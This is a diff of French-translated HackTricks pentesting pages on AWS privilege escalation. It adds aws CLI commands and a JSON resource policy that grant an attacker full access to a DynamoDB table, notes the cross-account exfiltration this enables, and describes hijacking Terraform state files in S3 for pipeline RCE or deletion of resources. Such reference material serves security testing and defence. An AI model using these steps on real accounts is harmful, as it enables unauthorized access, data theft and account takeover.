Translated ['src/pentesting-ci-cd/terraform-security.md', 'src/pentestin

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md

@@ -10,14 +10,63 @@ Pour plus d'informations sur dynamodb, consultez :
 ../aws-services/aws-dynamodb-enum.md
 {{#endref}}
 
+### `dynamodb:PutResourcePolicy`, et éventuellement `dynamodb:GetResourcePolicy`
+
+Depuis mars 2024, AWS propose des *politiques basées sur les ressources* pour DynamoDB ([AWS News](https://aws.amazon.com/about-aws/whats-new/2024/03/amazon-dynamodb-resource-based-policies/)).
+
+Donc, si vous avez le `dynamodb:PutResourcePolicy` pour une table, vous pouvez simplement vous accorder, ou accorder à tout autre principal, un accès complet à la table.
+
+Accorder le `dynamodb:PutResourcePolicy` à un principal aléatoire se produit souvent par accident, si les administrateurs pensent que l'octroi de `dynamodb:Put*` ne permettrait au principal que d'ajouter des éléments à la base de données - ou s'ils ont accordé cet ensemble de permissions avant mars 2024...
+
+Idéalement, vous avez également `dynamodb:GetResourcePolicy`, afin de ne pas écraser d'autres permissions potentiellement vitales, mais seulement d'injecter les permissions supplémentaires dont vous avez besoin :
+```bash
+# get the current resource based policy (if it exists) and save it to a file
+aws dynamodb get-resource-policy \
+--resource-arn <table_arn> \
+--query 'Policy' \
+--output text > policy.json
+```
+Si vous ne pouvez pas récupérer la politique actuelle, utilisez simplement celle-ci qui accorde un accès complet sur la table à votre principal :
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "FullAccessToDynamoDBTable",
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
+},
+"Action": [
+"dynamodb:*"
+],
+"Resource": [
+"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
+]
+}
+]
+}
+```
+Si vous devez le personnaliser, voici une liste de toutes les actions possibles de DynamoDB : [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Operations.html). Et voici une liste de toutes les actions qui peuvent être autorisées via une politique basée sur les ressources *ET lesquelles de celles-ci peuvent être utilisées entre comptes (pensez à l'exfiltration de données !)* : [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-iam-actions.html)
+
+Maintenant, avec le document de politique `policy.json` prêt, mettez la politique de ressource :
+```bash
+# put the new policy using the prepared policy file
+# dynamodb does weirdly not allow a direct file upload
+aws dynamodb put-resource-policy \
+--resource-arn <table_arn> \
+--policy "$(cat policy.json)"
+```
+Maintenant, vous devriez avoir les autorisations nécessaires.
+
 ### Post Exploitation
 
-Autant que je sache, il n'y a **aucun moyen direct d'escalader les privilèges dans AWS simplement en ayant quelques permissions `dynamodb`**. Vous pouvez **lire des informations sensibles** à partir des tables (qui pourraient contenir des identifiants AWS) et **écrire des informations dans les tables** (ce qui pourrait déclencher d'autres vulnérabilités, comme des injections de code lambda...) mais toutes ces options sont déjà considérées dans la **page Post Exploitation de DynamoDB** :
+Autant que je sache, il n'y a **aucun autre moyen direct d'escalader les privilèges dans AWS juste en ayant quelques autorisations `dynamodb` AWS**. Vous pouvez **lire des informations sensibles** à partir des tables (qui pourraient contenir des identifiants AWS) et **écrire des informations dans les tables** (ce qui pourrait déclencher d'autres vulnérabilités, comme des injections de code lambda...) mais toutes ces options sont déjà considérées dans la **page Post Exploitation de DynamoDB** :
 
 {{#ref}}
 ../aws-post-exploitation/aws-dynamodb-post-exploitation.md
 {{#endref}}
 
-### TODO: Lire des données en abusant des Data Streams
+### TODO : Lire des données en abusant des flux de données
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md

@@ -48,7 +48,20 @@ Un attaquant avec un **accès en lecture** à ceux-ci pourrait trouver des **inf
 Un attaquant avec un **accès en écriture** pourrait **modifier les données pour abuser d'un service et essayer d'escalader les privilèges**.\
 Voici quelques exemples :
 
-- Si une instance EC2 stocke les **données utilisateur dans un bucket S3**, un attaquant pourrait les modifier pour **exécuter du code arbitraire à l'intérieur de l'instance EC2**.
+- Si une instance EC2 stocke les **données utilisateur dans un bucket S3**, un attaquant pourrait le modifier pour **exécuter du code arbitraire à l'intérieur de l'instance EC2**.
+
+### `s3:PutObject`, `s3:GetObject` (optionnel) sur le fichier d'état terraform
+
+Il est très courant que les fichiers d'état [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) soient sauvegardés dans le stockage blob des fournisseurs de cloud, par exemple AWS S3. Le suffixe de fichier pour un fichier d'état est `.tfstate`, et les noms de bucket indiquent souvent qu'ils contiennent des fichiers d'état terraform. En général, chaque compte AWS a un tel bucket pour stocker les fichiers d'état qui montrent l'état du compte.\
+De plus, dans les comptes du monde réel, presque tous les développeurs ont presque toujours `s3:*` et parfois même les utilisateurs professionnels ont `s3:Put*`.
+
+Donc, si vous avez les permissions énumérées sur ces fichiers, il existe un vecteur d'attaque qui vous permet d'obtenir RCE dans le pipeline avec les privilèges de `terraform` - la plupart du temps `AdministratorAccess`, vous rendant l'admin du compte cloud. De plus, vous pouvez utiliser ce vecteur pour effectuer une attaque par déni de service en faisant en sorte que `terraform` supprime des ressources légitimes.
+
+Suivez la description dans la section *Abusing Terraform State Files* de la page *Terraform Security* pour un code d'exploitation directement utilisable :
+
+{{#ref}}
+terraform-security.md#abusing-terraform-state-files
+{{#endref}}
 
 ### `s3:PutBucketPolicy`